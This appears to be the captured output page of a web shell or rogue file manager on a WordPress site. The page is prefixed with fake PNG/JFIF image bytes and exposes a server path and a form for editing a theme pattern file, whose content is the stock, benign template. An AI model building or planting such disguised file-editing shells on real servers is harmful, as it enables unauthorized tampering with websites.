�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fthemes%2F'>themes</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fthemes%2Ftwentytwentyfour%2F'>twentytwentyfour</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fthemes%2Ftwentytwentyfour%2Fpatterns%2F'>patterns</a>/</p><hr><h3>✏️ Editing: cta-content-image-on-right.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Title: Call to action with image on right
 * Slug: twentytwentyfour/cta-content-image-on-right
 * Categories: call-to-action, banner
 * Viewport width: 1400
 * Description: A title, paragraph, two CTA buttons, and an image for a general CTA section.
 */
?&gt;

&lt;!-- wp:group {&quot;align&quot;:&quot;full&quot;,&quot;style&quot;:{&quot;spacing&quot;:{&quot;padding&quot;:{&quot;top&quot;:&quot;var:preset|spacing|50&quot;,&quot;bottom&quot;:&quot;var:preset|spacing|50&quot;,&quot;left&quot;:&quot;var:preset|spacing|50&quot;,&quot;right&quot;:&quot;var:preset|spacing|50&quot;},&quot;margin&quot;:{&quot;top&quot;:&quot;0&quot;,&quot;bottom&quot;:&quot;0&quot;}}},&quot;layout&quot;:{&quot;type&quot;:&quot;constrained&quot;}} --&gt;
&lt;div class=&quot;wp-block-group alignfull&quot; style=&quot;margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--50);padding-right:var(--wp--preset--spacing--50);padding-bottom:var(--wp--preset--spacing--50);padding-left:var(--wp--preset--spacing--50)&quot;&gt;
	&lt;!-- wp:columns {&quot;verticalAlignment&quot;:&quot;center&quot;,&quot;align&quot;:&quot;wide&quot;,&quot;style&quot;:{&quot;spacing&quot;:{&quot;blockGap&quot;:{&quot;top&quot;:&quot;var:preset|spacing|50&quot;,&quot;left&quot;:&quot;var:preset|spacing|50&quot;}}}} --&gt;
	&lt;div class=&quot;wp-block-columns alignwide are-vertically-aligned-center&quot;&gt;
		&lt;!-- wp:column {&quot;verticalAlignment&quot;:&quot;center&quot;,&quot;width&quot;:&quot;50%&quot;} --&gt;
		&lt;div class=&quot;wp-block-column is-vertically-aligned-center&quot; style=&quot;flex-basis:50%&quot;&gt;
			&lt;!-- wp:heading --&gt;
			&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;?php echo esc_html_x( &#039;Enhance your architectural journey with the Études Architect app.&#039;, &#039;Sample heading&#039;, &#039;twentytwentyfour&#039; ); ?&gt;&lt;/h2&gt;
			&lt;!-- /wp:heading --&gt;

			&lt;!-- wp:list {&quot;style&quot;:{&quot;typography&quot;:{&quot;lineHeight&quot;:&quot;1.75&quot;}},&quot;className&quot;:&quot;is-style-checkmark-list&quot;} --&gt;
			&lt;ul class=&quot;is-style-checkmark-list&quot; style=&quot;line-height:1.75&quot;&gt;
				&lt;!-- wp:list-item --&gt;
				&lt;li&gt;&lt;?php echo esc_html_x( &#039;Collaborate with fellow architects.&#039;, &#039;Sample list item&#039;, &#039;twentytwentyfour&#039; ); ?&gt;&lt;/li&gt;
				&lt;!-- /wp:list-item --&gt;

				&lt;!-- wp:list-item --&gt;
				&lt;li&gt;&lt;?php echo esc_html_x( &#039;Showcase your projects.&#039;, &#039;Sample list item&#039;, &#039;twentytwentyfour&#039; ); ?&gt;&lt;/li&gt;
				&lt;!-- /wp:list-item --&gt;

				&lt;!-- wp:list-item --&gt;
				&lt;li&gt;&lt;?php echo esc_html_x( &#039;Experience the world of architecture.&#039;, &#039;Sample list item&#039;, &#039;twentytwentyfour&#039; ); ?&gt;&lt;/li&gt;
				&lt;!-- /wp:list-item --&gt;
			&lt;/ul&gt;
			&lt;!-- /wp:list --&gt;

			&lt;!-- wp:buttons --&gt;
			&lt;div class=&quot;wp-block-buttons&quot;&gt;
				&lt;!-- wp:button --&gt;
				&lt;div class=&quot;wp-block-button&quot;&gt;
					&lt;a class=&quot;wp-block-button__link wp-element-button&quot;&gt;&lt;?php echo esc_html_x( &#039;Download app&#039;, &#039;Button text of this section&#039;, &#039;twentytwentyfour&#039; ); ?&gt;&lt;/a&gt;
				&lt;/div&gt;
				&lt;!-- /wp:button --&gt;

				&lt;!-- wp:button {&quot;className&quot;:&quot;is-style-outline&quot;} --&gt;
				&lt;div class=&quot;wp-block-button is-style-outline&quot;&gt;
					&lt;a class=&quot;wp-block-button__link wp-element-button&quot;&gt;&lt;?php echo esc_html_x( &#039;How it works&#039;, &#039;Button text of this section&#039;, &#039;twentytwentyfour&#039; ); ?&gt;&lt;/a&gt;
				&lt;/div&gt;
				&lt;!-- /wp:button --&gt;
			&lt;/div&gt;
			&lt;!-- /wp:buttons --&gt;
		&lt;/div&gt;
		&lt;!-- /wp:column --&gt;

		&lt;!-- wp:column {&quot;verticalAlignment&quot;:&quot;center&quot;,&quot;width&quot;:&quot;50%&quot;} --&gt;
		&lt;div class=&quot;wp-block-column is-vertically-aligned-center&quot; style=&quot;flex-basis:50%&quot;&gt;
			&lt;!-- wp:image {&quot;aspectRatio&quot;:&quot;4/3&quot;,&quot;scale&quot;:&quot;cover&quot;,&quot;sizeSlug&quot;:&quot;full&quot;,&quot;linkDestination&quot;:&quot;none&quot;,&quot;className&quot;:&quot;is-style-rounded&quot;} --&gt;
			&lt;figure class=&quot;wp-block-image size-full is-style-rounded&quot;&gt;
				&lt;img src=&quot;&lt;?php echo esc_url( get_template_directory_uri() ); ?&gt;/assets/images/abstract-geometric-art.webp&quot; alt=&quot;&lt;?php esc_attr_e( &#039;White abstract geometric artwork from Dresden, Germany&#039;, &#039;twentytwentyfour&#039; ); ?&gt;&quot; style=&quot;aspect-ratio:4/3;object-fit:cover&quot; /&gt;
			&lt;/figure&gt;
			&lt;!-- /wp:image --&gt;
		&lt;/div&gt;
		&lt;!-- /wp:column --&gt;
	&lt;/div&gt;
	&lt;!-- /wp:columns --&gt;
&lt;/div&gt;
&lt;!-- /wp:group --&gt;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fthemes%2Ftwentytwentyfour%2Fpatterns'>🔙 Back</a></p>